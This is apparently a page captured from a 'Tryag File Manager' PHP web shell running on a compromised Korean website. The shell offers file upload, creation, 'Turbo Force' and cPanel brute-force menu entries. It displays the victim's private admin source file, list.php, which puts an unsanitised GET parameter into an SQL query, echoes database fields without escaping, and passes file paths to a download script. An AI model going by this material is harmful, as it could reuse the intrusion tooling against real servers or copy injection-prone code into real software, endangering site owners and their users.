Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
cts.eemo.co.kr
/
public_html
/
src
/
web
/
view
/
contents
/
edu
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/cts.eemo.co.kr/public_html/src/web/view/contents/edu/list.php
<?php use CTS\CTS; $page = $_GET['page'] ? $_GET['page'] : 1; $onePage = 10; $currentLimit = ($onePage * $page) - $onePage; $sqlLimit = ' limit ' . $currentLimit . ', ' . $onePage; $sql = "select * from edu order by edu_date DESC "; $rs = \DB::query($sql.$sqlLimit); $rsCnt = \DB::query($sql); $cnt = count($rsCnt); list($paging, $pageRecord) = CTS::createPaging($cnt, $page); ?> <!-- search --> <link rel="stylesheet" href="/web/assets/vendor/libs/dropzone/dropzone.css"> <link rel="stylesheet" href="/web/assets/vendor/libs/flow-js/flow.css"> <script src="/web/assets/vendor/libs/dropzone/dropzone.js"></script> <script src="/web/assets/vendor/libs/flow-js/flow.js"></script> <script src="/web/assets/js/forms_file-upload.js"></script> <form id="form" name="form" method="post" action="#" enctype="multipart/form-data"> <div> <div class="columns columns-right btn-group float-right"> <div class="pr-1"> <input id="division" name="division" type="hidden" value="hatcherySearch" /> </div> <input type="hidden" id="page" name="page" value="<?=$page?>"/> <div class="pr-1 float-right"> <button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modals-default">등록하기</button> </div> </div> <!-- 입력 모달 --> <div class="modal fade" id="modals-default" style="display: none;" aria-modal="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title"> <span class="font-weight-light"></span> <br> <small class="text-muted">컨텐츠 입력하기</small> </h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close">×</button> </div> <div class="modal-body"> <div class="form-row"> <div class="input-group"> <div class="input-group-prepend"> <span class="input-group-text">제 목</span> </div> <input type="text" class="form-control" id="title" name="title" value=""> </div> </div> <div class="form-row mt-3"> <div class="input-group"> <div class="input-group-prepend"> <span class="input-group-text">신규 파일</span> </div> <label class="custom-file"> <input type="file" name="new_file" class="custom-file-input" onchange="sendFile('', this);"> <span class="custom-file-label" id="filename_view"></span> </label> </div> </div> <div class="form-row mt-3"> <div class="input-group"> <div class="input-group-prepend"> <span class="input-group-text">타 입</span> </div> <div class="form-group m-0"> <select class="custom-select" name="edu_type" id="edu_type"> <option value="2" selected>타입선택</option> <option value="0">종계</option> <option value="1">육계</option> </select> </div> </div> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> <button type="button" class="btn btn-primary" onclick="insertContent()">Save</button> </div> </div> </div> </div> <!-- 입력 모달 끝 --> <br /> <br /> </div> <div class="card"> <div> <table class="table table-bordered"> <thead class="thead-light"> <tr class="bg-secondary"> <th class="text-center"><?php echo ('제 목');?></th> <th class="text-center"><?php echo ('등록날짜');?></th> <th class="text-center"></th> <th class="text-center"></th> </tr> </thead> <tbody> <?php $i= 0; if(count($rs) == 0 ) { echo " <td colspan=4 class='text-center'> 검색 결과가 없습니다</td>"; } foreach($rs as $key => $value) : $i++; ?> <tr> <td class="text-center"><?php echo $value['edu_title']?></td> <td class="text-center"><?php echo $value['edu_date']?></td> <td class="text-center"> <?php $sql2 = "select * from contents_files where join_code = {$value['edu_idx']} and board_type='edu' order by idx DESC "; $rs2 = \DB::query($sql2); //echo $rs2[0]["system_name"]; ?> <button id="farmSearchList" onclick="viewContent('<?= $rs2[0]["idx"]?>','<?= $rs2[0]["system_name"]?>')" class="btn btn-outline-primary " type="button" name="paginationSwitch" title="Hide/Show pagination"> 보기 </button> </td> <td class="text-center"> <button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modals-default<?=$value['edu_idx']?>">수정하기</button> <button type="button" class="btn btn-danger ml-3" onclick="deleteInfo(<?=$value[edu_idx]?>);">삭제하기</button> <!-- 수정하기 모달 --> <div class="modal fade" id="modals-default<?=$value['edu_idx']?>" style="display: none;" aria-modal="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title"> <span class="font-weight-light"></span> <br> <small class="text-muted">컨텐츠 수정하기</small> </h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close">×</button> </div> <div class="modal-body"> <div class="form-row"> <div class="input-group"> <div class="input-group-prepend"> <span class="input-group-text">제 목</span> </div> <input type="text" class="form-control" id="title<?=$value['edu_idx']?>" name="title<?=$value['edu_idx']?>" value="<?=$value['edu_title']?>"> </div> </div> <div class="form-row mt-3"> <div class="input-group"> <div class="input-group-prepend"> <span class="input-group-text">기존 파일</span> </div> <input type="text" class="form-control" id="org_file<?=$value['edu_idx']?>" name="org_file<?=$value['edu_idx']?>" value="<?=$rs2[0]["origin_name"]?>"> </div> </div> <div class="form-row mt-3"> <div class="input-group"> <div class="input-group-prepend"> <span class="input-group-text">변경할 파일</span> </div> <label class="custom-file"> <input type="file" name="new_file<?=$value['edu_idx']?>" class="custom-file-input" onchange="sendFile('<?=$value['edu_idx']?>', this);"> <span class="custom-file-label" id="filename_view<?=$value['edu_idx']?>"></span> </label> </div> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> <button type="button" class="btn btn-primary" onclick="editContent('<?=$value['edu_idx']?>')">Save</button> </div> </div> </div> </div> <!-- 수정하기 모달 끝 --> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <!-- 페이지 처리 --> <nav class="text-center"> <?php CTS::printPageNavigator($pageRecord)?> </nav> </div> </form> <script> function editContent(idx){ document.form.action="process.php?mode=edit&idx="+idx; document.form.submit(); } function insertContent(){ document.form.action="process.php?mode=insert"; document.form.submit(); } function sendFile(idx, obj) { if($(obj).val() != "" && $(obj).val() != null){ var arrFileTmp = $(obj).val().split('\\'); var fileTmp = arrFileTmp[arrFileTmp.length-1]; //console.log($(obj).val()); //console.log(fileTmp); $('#filename_view'+idx).text(fileTmp); } } function viewContent(fileDiretory, fileName){ document.location.href="file_download.php?fileDiretory="+fileDiretory+"&fileName="+fileName; } function deleteInfo(idx) { if(confirm("삭제하시겠습니까?")){ document.form.action = "process.php?mode=delete&idx=" + idx; document.form.submit(); }else { return false; } } </script>